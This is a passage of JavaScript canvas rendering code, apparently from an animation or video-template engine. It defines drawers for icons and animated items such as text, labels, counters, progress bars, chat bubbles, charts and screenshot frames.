    const v = o.flowFrom != null ? E.io(seg(t, o.flowFrom, o.flowTo ?? o.flowFrom + 1.5)) : .5;
    ctx.save(); ctx.beginPath(); ctx.moveTo(-70, -96); ctx.lineTo(70, -96); ctx.lineTo(8, 0); ctx.lineTo(70, 96); ctx.lineTo(-70, 96); ctx.lineTo(-8, 0); ctx.closePath(); ctx.clip();
    ctx.fillStyle = b; ctx.fillRect(-80, lerp(-60, 0, v), 160, 60 * (1 - v) + 2); ctx.fillRect(-80, 96 - 60 * v, 160, 60 * v); ctx.restore();
    ctx.beginPath(); ctx.moveTo(-70, -96); ctx.lineTo(70, -96); ctx.lineTo(8, 0); ctx.lineTo(70, 96); ctx.lineTo(-70, 96); ctx.lineTo(-8, 0); ctx.closePath(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(-96, -96); ctx.lineTo(96, -96); ctx.moveTo(-96, 96); ctx.lineTo(96, 96); ctx.stroke();
  },
  play(ctx, o) {
    const c = col(o.accent || 'blue');
    ctx.beginPath(); ctx.roundRect(-100, -70, 200, 140, 40); ctx.fillStyle = c; ctx.fill();
    ctx.beginPath(); ctx.moveTo(-26, -36); ctx.lineTo(40, 0); ctx.lineTo(-26, 36); ctx.closePath(); ctx.fillStyle = C.white; ctx.fill();
  },
  msg(ctx, o) {
    const c = col(o.color); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.roundRect(-100, -76, 200, 130, 36); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(-50, 54); ctx.lineTo(-64, 92); ctx.lineTo(-10, 54); ctx.stroke();
    for (const dx of [-40, 0, 40]) { ctx.beginPath(); ctx.arc(dx, -10, 10, 0, TAU); ctx.fillStyle = c; ctx.fill(); }
  },
  trash(ctx, o) {
    const c = col(o.color); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(-76, -50); ctx.lineTo(-62, 96); ctx.lineTo(62, 96); ctx.lineTo(76, -50); ctx.closePath(); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(-100, -56); ctx.lineTo(100, -56); ctx.moveTo(-30, -56); ctx.lineTo(-24, -84); ctx.lineTo(24, -84); ctx.lineTo(30, -56); ctx.stroke();
    stroke(ctx, c, 6); for (const dx of [-26, 0, 26]) { ctx.beginPath(); ctx.moveTo(dx, -20); ctx.lineTo(dx * .9, 66); ctx.stroke(); }
  },
  card(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.roundRect(-130, -80, 260, 160, 24); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.fillStyle = c; ctx.fillRect(-130, -42, 260, 30);
    ctx.beginPath(); ctx.roundRect(-96, 22, 60, 36, 8); ctx.fillStyle = b; ctx.fill();
  },
  cap(ctx, o) {   // graduation cap (a school)
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(-60, -10); ctx.lineTo(-60, 50); ctx.bezierCurveTo(-30, 76, 30, 76, 60, 50); ctx.lineTo(60, -10); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(0, -80); ctx.lineTo(140, -30); ctx.lineTo(0, 20); ctx.lineTo(-140, -30); ctx.closePath(); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(110, -20); ctx.lineTo(110, 50); ctx.stroke(); ctx.beginPath(); ctx.arc(110, 58, 12, 0, TAU); ctx.fillStyle = b; ctx.fill();
  },
  clock(ctx, o, t) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.arc(0, 0, 96, 0, TAU); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    const a = o.spinFrom != null ? E.io(seg(t, o.spinFrom, o.spinTo ?? o.spinFrom + 1.5)) * TAU * (o.turns || 4) : 0;
    stroke(ctx, c, 9); ctx.beginPath(); ctx.moveTo(0, 0); ctx.lineTo(Math.sin(a / 12) * 50, -Math.cos(a / 12) * 50); ctx.stroke();
    stroke(ctx, b, 7); ctx.beginPath(); ctx.moveTo(0, 0); ctx.lineTo(Math.sin(a) * 74, -Math.cos(a) * 74); ctx.stroke();
  },
  bulb(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(-34, 50); ctx.bezierCurveTo(-34, 10, -84, -10, -84, -50); ctx.arc(0, -50, 84, Math.PI, 0); ctx.bezierCurveTo(84, -10, 34, 10, 34, 50); ctx.closePath();
    ctx.fillStyle = o.on ? C.tint : C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(-30, 76); ctx.lineTo(30, 76); ctx.moveTo(-22, 100); ctx.lineTo(22, 100); ctx.stroke();
    if (o.on) { stroke(ctx, b, 7); for (const a of [-2.4, -1.57, -.74]) { ctx.beginPath(); ctx.moveTo(Math.cos(a) * 112, -50 + Math.sin(a) * 112); ctx.lineTo(Math.cos(a) * 140, -50 + Math.sin(a) * 140); ctx.stroke(); } }
  },
  rocket(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(0, -120); ctx.bezierCurveTo(56, -80, 56, 10, 40, 60); ctx.lineTo(-40, 60); ctx.bezierCurveTo(-56, 10, -56, -80, 0, -120); ctx.closePath(); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.arc(0, -40, 18, 0, TAU); ctx.fillStyle = b; ctx.fill();
    ctx.beginPath(); ctx.moveTo(-40, 20); ctx.lineTo(-76, 70); ctx.lineTo(-36, 60); ctx.moveTo(40, 20); ctx.lineTo(76, 70); ctx.lineTo(36, 60); ctx.stroke();
    stroke(ctx, b, 8); ctx.beginPath(); ctx.moveTo(-16, 80); ctx.lineTo(-16, 112); ctx.moveTo(16, 80); ctx.lineTo(16, 112); ctx.stroke();
  },
  chart(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(-110, -90); ctx.lineTo(-110, 90); ctx.lineTo(120, 90); ctx.stroke();
    stroke(ctx, b, 10); ctx.beginPath(); ctx.moveTo(-80, 50); ctx.lineTo(-20, 10); ctx.lineTo(20, 30); ctx.lineTo(96, -60); ctx.stroke();
  },
  bug(ctx, o) {
    const c = col(o.color); stroke(ctx, c, 8);
    ctx.beginPath(); ctx.ellipse(0, 16, 58, 76, 0, 0, TAU); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.arc(0, -70, 30, Math.PI, 0); ctx.stroke(); ctx.beginPath(); ctx.moveTo(0, -56); ctx.lineTo(0, 92); ctx.stroke();
    for (const sg of [-1, 1]) for (const y of [-20, 20, 60]) { ctx.beginPath(); ctx.moveTo(sg * 56, y); ctx.lineTo(sg * 96, y - 18); ctx.stroke(); }
    for (const sg of [-1, 1]) { ctx.beginPath(); ctx.moveTo(sg * 14, -96); ctx.lineTo(sg * 36, -126); ctx.stroke(); }
  },
};

// ---------------------------------------------------------------- item drawers. (0, 0) is already the item position.
const DRAW = {
  text(ctx, it, t) {
    // style.display (kit D): big texts (100 px and more, or depth) take the display family, the others its text family;
    // it.font (+ it.weight, default 400) overrides both, e.g. a brand serif on the end card
    const size = it.size || 64, big = !it.font && D.font && (it.depth || size >= 100), fam = it.font ? famCss(it.font) : big ? D.font : D.text || undefined;
    const wt = it.font ? it.weight || 400 : big ? D.weight : it.weight || 800, ls = it.ls ?? -size * .03, lh = it.lh || size * 1.12, depth = D.flat ? 0 : it.depth;
    const c = col(it.color || (D.title && !big && size <= 64 ? D.title : null));
    const lines = it.maxW ? wrap(ctx, it.text, it.maxW, size, wt, ls, fam) : String(it.text).split('\n');
    const emph = new Set(String(it.emph || '').split(' ').filter(Boolean));
    lines.forEach((ln, li) => {
      const base = midBase((li - (lines.length - 1) / 2) * lh, size), words = ln.split(' ');
      const ws = words.map(w => measure(ctx, w, size, wt, ls, fam)), sp = measure(ctx, ' ', size, wt, ls, fam), tw = ws.reduce((a, b) => a + b, 0) + sp * (words.length - 1);
      let x = it.align === 'left' ? 0 : it.align === 'right' ? -tw : -tw / 2;
      words.forEach((w, i) => {
        const p = it.words ? S(t - it.at - (li * words.length + i) * .055, 14) : 1, isE = emph.has(w);
        const cc = isE ? (it.emphAt != null ? mix(C.ink, C.blue, S(t - it.emphAt, 14)) : C.blue) : c, wx = x;
        if (p > .002) alpha(ctx, Math.min(1, p * 1.4), () => text(ctx, w, wx, base + (1 - p) * 40, { size, weight: wt, ls, fam, color: cc, halo: it.halo, depth }));
        x += ws[i] + sp;
      });
    });
  },
  chip(ctx, it) { chip(ctx, 0, 0, it.text, { size: it.size || 42, h: Math.round((it.size || 42) * 2), fill: it.blue ? C.blue : it.dark ? C.ink : undefined, color: it.blue ? C.onBlue : it.dark ? C.white : C.ink, border: !(it.blue || it.dark), dot: it.dot && (it.dotColor ? col(it.dotColor) : C.blue), align: it.align }); },
  // Name tag on a camera tile: a flat paper sheet, ink name, (x, y) = its BOTTOM-LEFT corner so tags line up on the
  // tile edges. liveSpans: [[a, b], ...] time ranges where it turns accent (the speaker), a 120 ms colour swap in
  // place (an edge on the tag's own at/to is instant: the camera cut already carries it).
  // imgs: [paper, live] PNGs of a name tag (CSS torn paper, 2x, 14 px margin
  // around the paper body): drawn instead of the canvas sheet.
  nametag(ctx, it, t, R) {
    const size = it.size || 28, h = Math.round(size * 1.8), padX = Math.round(size * .62), wt = it.weight || 600, r = Math.round(size * .18);
    const at = it.at ?? -1e9, to = it.to ?? 1e9;
    const on = (it.liveSpans || []).reduce((m, [a, b]) => Math.max(m, Math.min(a <= at + .05 ? +(t >= a) : clamp((t - a) / .12), b >= to - .05 ? +(t < b) : clamp((b - t) / .12))), 0);
    const [p0, p1] = (it.imgs || []).map(u => R?.img('/p/' + u));
    if (p0) {
      const M = 14, dw = p0.width / 2, dh = p0.height / 2, draw = (im, a) => { if (im && a > .002) { ctx.save(); ctx.globalAlpha *= a; ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, -M, M - dh, dw, dh); ctx.restore(); } };
      draw(p0, p1 ? 1 - on : 1); draw(p1, on); return;
    }
    const w = Math.round(measure(ctx, it.text, size, wt, -.2) + padX * 2);
    sheet(ctx, 0, -h, w, h, r, { elev: .3 });
    if (on > .002) sheet(ctx, 0, -h, w, h, r, { fill: C.blue, alpha: on, shadow: false, border: false });
    text(ctx, it.text, padX, midBase(-h / 2, size), { size, weight: wt, ls: -.2, color: C.ink });
  },
  // Slanted label box (the podcast thumbnail look): heavy condensed italic caps on a flat color block, tilted a few
  // degrees. bg: 'blue' (accent), 'pop' (style.colors.pop), 'ink', 'sheet' or a hex; the text color follows (ink on a
  // light fill, white on a dark one) unless color is set. The block wipes in from the left over .26 s with its text.
  // size 90, rot -.035, skew .2 (italic slant), stretch 'extra-condensed', caps true, align center|left|right
  label(ctx, it, t) {
    const size = it.size || 90, bg = it.bg === 'blue' || it.bg == null ? C.blue : col(it.bg), txt = it.caps === false ? String(it.text) : String(it.text).toUpperCase();
    const light = (h => { const m = String(h).match(/^#?([0-9a-f]{6})$/i); if (!m) return true; const v = parseInt(m[1], 16); return (.2126 * (v >> 16) + .7152 * (v >> 8 & 255) + .0722 * (v & 255)) / 255 > .55; })(bg);
    const fg = it.color ? col(it.color) : bg === C.blue ? C.onBlue : light ? C.ink : C.white;
    ctx.save(); ctx.font = `900 ${size}px Archivo`; ctx.fontStretch = it.stretch || 'extra-condensed'; ctx.letterSpacing = (it.ls ?? size * .005) + 'px';
    const lines = txt.split('\n'), lh = size * .98, tw = Math.max(...lines.map(l => ctx.measureText(l).width));
    const px = size * .3, py = size * .16, w = tw + px * 2, h = lines.length * lh + py * 2 - (lh - size * .9), x0 = it.align === 'left' ? 0 : it.align === 'right' ? -w : -w / 2;
    const q = E.out(seg(t, it.at, it.at + .26));
    ctx.rotate(it.rot ?? -.035);
    if (q < .999) { ctx.beginPath(); ctx.rect(x0 - 40, -h / 2 - 40, (w + 80) * q, h + 80); ctx.clip(); }
    ctx.save(); drop(ctx, .26, 18, 8); ctx.fillStyle = bg; ctx.fillRect(x0, -h / 2, w, h); ctx.restore();
    if (it.border) { ctx.lineWidth = it.border; ctx.strokeStyle = C.ink; ctx.strokeRect(x0, -h / 2, w, h); }
    ctx.fillStyle = fg; ctx.textAlign = 'center'; ctx.textBaseline = 'alphabetic';
    const sk = it.skew ?? .2;
    lines.forEach((l, i) => {
      const by = -h / 2 + py + size * .82 + i * lh;   // caps height ~.72 em: optically centered in the block
      ctx.save(); ctx.translate(x0 + w / 2, by); ctx.transform(1, 0, -sk, 1, 0, 0); ctx.fillText(l, 0, 0); ctx.restore();
    });
    ctx.restore();
  },
  stamp(ctx, it, t) {
    const p = S(t - it.at, 11), size = it.size || 70, w = measure(ctx, it.text, size, 800, -1) + 76, h = size + 54;
    ctx.rotate(it.rot ?? -.07); const k = 1 + .3 * (1 - p); ctx.scale(k, k);
    if (it.solid !== false) shadow(ctx, -w / 2, -h / 2, w, h, 22, 22, .2, 8);
    ctx.beginPath(); ctx.roundRect(-w / 2, -h / 2, w, h, 22); ctx.fillStyle = it.solid !== false ? C.sheet : 'rgba(37,142,255,.08)'; ctx.fill();
    ctx.lineWidth = 8; ctx.strokeStyle = C.blue; ctx.stroke();
    ctx.beginPath(); ctx.roundRect(-w / 2 + 12, -h / 2 + 12, w - 24, h - 24, 14); ctx.lineWidth = 2.5; ctx.stroke();
    text(ctx, it.text, 0, midBase(0, size), { size, weight: 800, ls: -1, align: 'center', color: C.blue });
  },
  counter(ctx, it, t) {
    const size = it.size || 200, k = E.out(seg(t, it.countFrom ?? it.at, it.countTo ?? (it.countFrom ?? it.at) + .9));
    const fam = D.font || undefined, wt = D.font ? D.weight : 800, ls = -size * (D.font ? .03 : .035), depth = D.flat ? 0 : it.depth;
    const v = lerp(it.fromValue || 0, it.value, k), dec = it.decimals || 0;
    if (it.clock) {   // stopwatch m:ss (value in seconds), every digit in the same slot so the timer never jitters while it runs
      const sec = Math.round(v), str = `${String(Math.floor(sec / 60)).padStart(2, '0')}:${String(sec % 60).padStart(2, '0')}`;
      const dw = Math.max(...'0123456789'.split('').map(d => measure(ctx, d, size, wt, ls, fam))), cw = measure(ctx, ':', size, wt, ls, fam);
      const adv = c => c === ':' ? cw : dw, tw = [...str].reduce((a, c) => a + adv(c), 0);
      let x = it.align === 'left' ? 0 : -tw / 2;
      for (const c of str) { text(ctx, c, x + adv(c) / 2, midBase(0, size), { size, weight: wt, ls, fam, color: col(it.color), depth, align: 'center' }); x += adv(c); }
      return;
    }
    let s = v.toFixed(dec); if (dec && it.decSep) s = s.replace('.', it.decSep); if (it.sep !== false && !dec) s = s.replace(/\B(?=(\d{3})+(?!\d))/g, it.sep ?? ' ');
    const pre = it.prefix || '', suf = it.suffix || '', unit = it.unit || '', ufam = D.text || undefined;
    const sw = measure(ctx, pre + s + suf, size, wt, ls, fam), uw = unit ? measure(ctx, unit, size * .42, 800, -1, ufam) + size * .08 : 0;
    const x0 = it.align === 'left' ? 0 : -(sw + uw) / 2;
    text(ctx, pre + s, x0, midBase(0, size), { size, weight: wt, ls, fam, color: col(it.color), depth });
    if (suf) text(ctx, suf, x0 + measure(ctx, pre + s, size, wt, ls, fam), midBase(0, size), { size, weight: wt, ls, fam, color: it.suffixColor ? col(it.suffixColor) : C.blue, depth });
    if (unit) text(ctx, unit, x0 + sw + size * .08, midBase(size * .18, size * .42), { size: size * .42, weight: 800, ls: -1, fam: ufam, color: C.blue });
  },
  bar(ctx, it, t, R) {
    const w = it.w || 900, h = it.h || 96, g = E.out(seg(t, it.fillFrom ?? it.at + .05, it.fillTo ?? (it.fillFrom ?? it.at + .05) + .8));
    const v = lerp(it.fromValue || 0, it.value, g), ls = (it.labelSize || 46);
    if (it.logo) logoAt(R, ctx, it.logo, ls * .65, -24 - ls * .36, ls * 1.3);
    if (it.label) text(ctx, it.label, it.logo ? ls * 1.55 : 0, -24, { size: ls, weight: 800, ls: -.8, color: it.blue ? C.ink : C.ink2 });
    ctx.beginPath(); ctx.roundRect(0, 0, w, h, h / 2); ctx.fillStyle = 'rgba(40,30,10,.06)'; ctx.fill(); groove(ctx, 0, 0, w, h, h / 2);
    if (v > .001) { const fw = Math.max(h, w * v); lift(ctx, 0, 0, fw, h, h / 2, .5); ctx.beginPath(); ctx.roundRect(0, 0, fw, h, h / 2); ctx.fillStyle = it.blue ? C.blue : it.dark ? C.ink : C.ink3; ctx.fill(); gloss(ctx, 0, 0, fw, h, h / 2); }
    if (it.valueText) text(ctx, it.valueText, w, -24, { size: it.labelSize || 46, weight: 800, align: 'right', color: it.blue ? C.blue : C.ink2 });
  },
  bubble(ctx, it, t) {
    const me = it.side === 'me', size = it.size || 44, w = it.w || 760, padX = 40, padY = 30;
    const lines = wrap(ctx, it.text, w - padX * 2, size, 600, -.3), lh = size * 1.28, h = lines.length * lh + padY * 2 - (lh - size) + 6;
    const bw = Math.min(w, Math.max(...lines.map(l => measure(ctx, l, size, 600, -.3))) + padX * 2), x0 = me ? -bw : 0;
    sheet(ctx, x0, 0, bw, h, 36, { fill: me ? C.blue : undefined, elev: .8, border: !me });
    let n = Infinity;
    if (it.typeFrom != null) { const tot = it.text.split(' ').length; n = Math.round(tot * seg(t, it.typeFrom, it.typeTo ?? it.typeFrom + 1)); }
    let k = 0;
    lines.forEach((ln, i) => {
      const ws = ln.split(' '), vis = ws.slice(0, Math.max(0, n - k)).join(' '); k += ws.length;
      if (vis) text(ctx, vis, x0 + padX, padY + size * .8 + i * lh, { size, weight: 600, ls: -.3, color: me ? C.onBlue : C.ink });
    });
    if (it.name) text(ctx, it.name, me ? 0 : 6, -20, { size: 34, weight: 700, align: me ? 'right' : 'left', color: C.ink3 });
  },
  card(ctx, it, t) {
    const r = it.r ?? 36;
    sheet(ctx, 0, 0, it.w, it.h, r, { elev: it.elev ?? 1, fill: it.fill === 'ink' ? C.ink : it.fill === 'tint' ? C.tint : undefined, border: !it.fill });
    if (it.ringAt != null) { const q = S(t - it.ringAt, 12); if (q > .002) alpha(ctx, q, () => { ctx.beginPath(); ctx.roundRect(-10, -10, it.w + 20, it.h + 20, r + 10); stroke(ctx, C.blue, 7); ctx.stroke(); }); }
  },
  reticle(ctx, it, t) {   // a sight closing on (x, y): ring shrinks from 1.7 r to r, four ticks, a blue dot when locked
    const p = E.io(seg(t, it.closeFrom ?? it.at, it.closeTo ?? (it.closeFrom ?? it.at) + .8)), r = lerp(it.r * 1.7, it.r, p);
    stroke(ctx, C.blue, it.lw || 7); ctx.beginPath(); ctx.arc(0, 0, r, 0, TAU); ctx.stroke();
    for (let k = 0; k < 4; k++) { const a = k * TAU / 4; ctx.beginPath(); ctx.moveTo(Math.cos(a) * (r - 34), Math.sin(a) * (r - 34)); ctx.lineTo(Math.cos(a) * (r + 40), Math.sin(a) * (r + 40)); ctx.stroke(); }
    if (p > .98) { ctx.beginPath(); ctx.arc(0, 0, 12, 0, TAU); ctx.fillStyle = C.blue; ctx.fill(); }
  },
  line(ctx, it, t) {
    const d = E.out(seg(t, it.at, it.at + (it.dur ?? .45))), X = it.x2 - it.x, Y = it.y2 - it.y;
    stroke(ctx, col(it.color), it.lw || 8); if (it.dash) ctx.setLineDash(it.dash);
    if (it.bend) {   // hand-drawn curve: quadratic bezier bowed sideways by bend (fraction of the length), drawn on along the curve
      const mx = X / 2 - Y * it.bend, my = Y / 2 + X * it.bend, bz = u => [2 * (1 - u) * u * mx + u * u * X, 2 * (1 - u) * u * my + u * u * Y];
      ctx.beginPath(); ctx.moveTo(0, 0); for (let u = .04; u < d; u += .04) ctx.lineTo(...bz(u)); ctx.lineTo(...bz(d)); ctx.stroke(); ctx.setLineDash([]);
      if (it.head && d > .6) { const [x2, y2] = bz(d), [xa, ya] = bz(Math.max(0, d - .05)), a = Math.atan2(y2 - ya, x2 - xa), L = 30; ctx.beginPath(); ctx.moveTo(x2 - Math.cos(a - .5) * L, y2 - Math.sin(a - .5) * L); ctx.lineTo(x2, y2); ctx.lineTo(x2 - Math.cos(a + .5) * L, y2 - Math.sin(a + .5) * L); ctx.stroke(); }
      return;
    }
    const x2 = lerp(0, X, d), y2 = lerp(0, Y, d);
    ctx.beginPath(); ctx.moveTo(0, 0); ctx.lineTo(x2, y2); ctx.stroke(); ctx.setLineDash([]);
    if (it.head && d > .6) { const a = Math.atan2(Y, X), L = 30; ctx.beginPath(); ctx.moveTo(x2 - Math.cos(a - .5) * L, y2 - Math.sin(a - .5) * L); ctx.lineTo(x2, y2); ctx.lineTo(x2 - Math.cos(a + .5) * L, y2 - Math.sin(a + .5) * L); ctx.stroke(); }
  },
  circle(ctx, it) {
    ctx.beginPath(); ctx.arc(0, 0, it.r, 0, TAU);
    if (it.fill) { ctx.fillStyle = it.fill === 'tint' ? 'rgba(37,142,255,.08)' : col(it.fill); ctx.fill(); }
    stroke(ctx, col(it.color || 'blue'), it.lw || 6); if (it.dash) ctx.setLineDash(it.dash); ctx.stroke(); ctx.setLineDash([]);
  },
  rect(ctx, it) {   // outline zone (a "bubble" around a group); x, y = top-left
    ctx.beginPath(); ctx.roundRect(0, 0, it.w, it.h, it.r ?? it.h / 2);
    if (it.fill) { ctx.fillStyle = it.fill === 'tint' ? 'rgba(37,142,255,.08)' : col(it.fill); ctx.fill(); }
    stroke(ctx, col(it.color || 'blue'), it.lw || 6); if (it.dash) ctx.setLineDash(it.dash); ctx.stroke(); ctx.setLineDash([]);
  },
  dots(ctx, it, t) {
    const cols = it.cols, rows = it.rows, g = it.gap || 56, r = it.r || 18, n = cols * rows, x0 = -(cols - 1) * g / 2, y0 = -(rows - 1) * g / 2;
    for (let i = 0; i < n; i++) {
      const a = S(t - it.at - i * (it.stagger ?? .008), 14); if (a <= .002) continue;
      let c = col(it.color || 'ink3');
      for (const gr of it.groups || []) if (i >= (gr.i0 || 0) && i < (gr.i0 || 0) + gr.n) { const q = S(t - gr.at - (i - (gr.i0 || 0)) * .006, 13); if (q > .002) c = mix(typeof c === 'string' && c[0] === '#' ? c : C.ink3, col(gr.color), q); }
      alpha(ctx, Math.min(1, a * 1.4), () => { ctx.beginPath(); ctx.arc(x0 + (i % cols) * g, y0 + Math.floor(i / cols) * g + (1 - a) * 20, r, 0, TAU); ctx.fillStyle = c; ctx.fill(); });
    }
  },
  thumbs(ctx, it, t) {
    const cols = it.cols, rows = it.rows, w = it.w || 190, h = it.h || 107, g = it.gap || 18, n = cols * rows;
    const X0 = -(cols * w + (cols - 1) * g) / 2, Y0 = -(rows * h + (rows - 1) * g) / 2;
    for (let i = 0; i < n; i++) {
      const a = S(t - it.at - i * (it.stagger ?? .05), 14); if (a <= .002) continue;
      const x = X0 + (i % cols) * (w + g), y = Y0 + Math.floor(i / cols) * (h + g), hh = hash(i * 7.3 + 2);
      alpha(ctx, Math.min(1, a * 1.4), () => {
        ctx.save(); ctx.translate(0, (1 - a) * 24);
        sheet(ctx, x, y, w, h, 14, { elev: .5 });
        ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, 14); ctx.clip();
        ctx.fillStyle = hh > .7 ? C.tint : hh > .35 ? C.line : '#EFEBE2'; ctx.fillRect(x, y, w, h);
        ctx.fillStyle = hh > .5 ? C.ink : C.blue; ctx.fillRect(x + 14, y + 16, w * (.35 + .3 * hash(i + 9)), 14); ctx.fillRect(x + 14, y + 38, w * (.2 + .2 * hash(i + 3)), 14);
        ctx.beginPath(); ctx.arc(x + w * .74, y + h * .62, h * .28, 0, TAU); ctx.fillStyle = C.ink3; ctx.fill();
        ctx.restore(); ctx.restore();
      });
    }
  },
  agents(ctx, it, t) {
    const cols = it.cols || 5, rows = it.rows || 5, w = it.w || 168, h = it.h || 112, g = it.gap || 16, n = cols * rows;
    const X0 = -(cols * w + (cols - 1) * g) / 2, Y0 = -(rows * h + (rows - 1) * g) / 2;
    for (let i = 0; i < n; i++) {
      const a = S(t - it.at - i * (it.stagger ?? .03), 14); if (a <= .002) continue;
      const x = X0 + (i % cols) * (w + g), y = Y0 + Math.floor(i / cols) * (h + g);
      const sp = .25 + .75 * hash(i * 3.1 + 1), wf = it.workFrom ?? it.at, wt = it.workTo ?? wf + 4;
      const v = clamp(((t - wf) / (wt - wf)) * sp * 1.4 + hash(i) * .15), done = v >= 1;
      alpha(ctx, Math.min(1, a * 1.4), () => {
        ctx.save(); ctx.translate(0, (1 - a) * 24);
        sheet(ctx, x, y, w, h, 18, { elev: .5 });
        ctx.beginPath(); ctx.arc(x + 30, y + 32, 11, 0, TAU); ctx.fillStyle = done ? C.blue : C.ink; ctx.fill();
        ctx.beginPath(); ctx.roundRect(x + 52, y + 24, w - 76, 16, 8); ctx.fillStyle = C.line; ctx.fill();
        ctx.beginPath(); ctx.roundRect(x + 20, y + h - 40, w - 40, 16, 8); ctx.fillStyle = C.line; ctx.fill();
        ctx.beginPath(); ctx.roundRect(x + 20, y + h - 40, Math.max(16, (w - 40) * v), 16, 8); ctx.fillStyle = done ? C.blue : C.ink3; ctx.fill();
        if (done) checkIcon(ctx, x + w - 34, y + 32, 30, C.blue, 1, 6);
        ctx.restore();
      });
    }
  },
  diverge(ctx, it, t) {
    const w = it.w || 900, h = it.h || 560, sx = w * (it.splitX ?? .38), my = h / 2, d = E.io(seg(t, it.drawFrom ?? it.at, it.drawTo ?? (it.drawFrom ?? it.at) + 1.6));
    stroke(ctx, C.ink3, 4); ctx.beginPath(); ctx.moveTo(0, 0); ctx.lineTo(0, h); ctx.lineTo(w, h); ctx.stroke();
    text(ctx, it.xLabel || 'Avec l\'IA', w, h + 56, { size: 36, weight: 700, align: 'right', color: C.ink3 });
    const curve = (sg, u) => { const x = u * w; if (x <= sx) return [x, my]; const k = (x - sx) / (w - sx); return [x, my - sg * (h * .44) * Math.pow(k, 1.6)]; };
    for (const [sg, c, lw] of [[-1, C.ink3, 12], [1, C.blue, 14]]) {
      stroke(ctx, c, lw); ctx.beginPath();
      for (let i = 0; i <= 60 * d; i++) { const [x, y] = curve(sg, i / 60); i ? ctx.lineTo(x, y) : ctx.moveTo(x, y); }
      ctx.stroke();
    }
    const lab = (txt, sg, c, at) => { const q = S(t - at, 13); if (q > .002 && txt) alpha(ctx, q, () => { const [x, y] = curve(sg, 1); text(ctx, txt, x - 10, y + (sg > 0 ? -40 : -34), { size: 44, weight: 800, align: 'right', color: c }); }); };
    lab(it.upLabel, 1, C.blue, it.upAt ?? (it.drawTo ?? it.at + 1.6));
    lab(it.downLabel, -1, C.ink2, it.downAt ?? (it.drawTo ?? it.at + 1.6));
    if (it.meAt != null) { const q = S(t - it.meAt, 12); if (q > .002) { const [x, y] = curve(1, .92); alpha(ctx, q, () => { ctx.beginPath(); ctx.arc(x, y, 22, 0, TAU); ctx.fillStyle = C.blue; ctx.fill(); ctx.lineWidth = 6; ctx.strokeStyle = C.sheet; ctx.stroke(); chip(ctx, x - 40, y + 70, it.meLabel || 'Moi', { size: 40, h: 80, align: 'right', fill: C.ink, color: C.white, border: false }); }); } }
  },
  check(ctx, it, t) { checkIcon(ctx, 0, 0, it.s || 80, col(it.color || 'blue'), E.out(seg(t, it.at, it.at + .35)), (it.s || 80) * .16); },
  logo(ctx, it, t, R) { logoAt(R, ctx, it.logo, 0, 0, it.s || 140, it.gray); },
  img(ctx, it, t, R) {
    const im = R?.img('/p/' + it.img); if (!im) return;
    const mw = it.s || 200, mh = it.h || mw, k = Math.min(mw / im.width, mh / im.height), w = im.width * k, h = im.height * k;
    ctx.save(); ctx.imageSmoothingQuality = 'high';
    if (it.frame) {   // white print border around the photo
      const f = it.frame, R0 = (it.r || 0) + f * .6;
      if (it.shadow !== false) lift(ctx, -w / 2 - f, -h / 2 - f, w + 2 * f, h + 2 * f, R0, w > 300 ? 1 : .5);
      ctx.beginPath(); ctx.roundRect(-w / 2 - f, -h / 2 - f, w + 2 * f, h + 2 * f, R0); ctx.fillStyle = C.white; ctx.fill();
      ctx.beginPath(); ctx.roundRect(-w / 2, -h / 2, w, h, it.r || 0); ctx.clip();
    } else if (it.r) { if (it.shadow !== false) lift(ctx, -w / 2, -h / 2, w, h, it.r, w > 300 ? 1 : .5); ctx.beginPath(); ctx.roundRect(-w / 2, -h / 2, w, h, it.r); ctx.clip(); }
    else if (it.shadow !== false) drop(ctx, .2, 26, 12);
    ctx.drawImage(im, -w / 2, -h / 2, w, h); ctx.restore();
  },
  screen(ctx, it, t, R) {   // a real UI screenshot in a dark window, with spring zooms, blue rings and arrows that follow the zoom
    let ki = 0; if (it.imgKeys) while (ki + 1 < it.imgKeys.length && it.imgKeys[ki + 1][0] <= t) ki++;   // imgKeys: the content swaps in place
    const im = R?.img('/p/' + (it.imgKeys ? it.imgKeys[ki][1] : it.img)); if (!im) return;
    const prev = ki > 0 && R?.img('/p/' + it.imgKeys[ki - 1][1]), swap = prev ? S(t - it.imgKeys[ki][0], 18) : 1;
    const w = it.w || 900, h = it.h || 620, r = it.r ?? 30, x0 = -w / 2, y0 = -h / 2;
    const [vx, vy, z] = it.viewKeys ? track(t, it.viewKeys, it.viewW || 7) : [im.width / 2, im.height / 2, 1];
    const k = (w / im.width) * z, hw = w / 2 / k, hh = h / 2 / k;
    const cx = im.width > hw * 2 ? clamp(vx, hw, im.width - hw) : im.width / 2;
    const cy = im.height > hh * 2 ? clamp(vy, hh, im.height - hh) : im.height / 2;
    const P = (ix, iy) => [(ix - cx) * k, (iy - cy) * k];
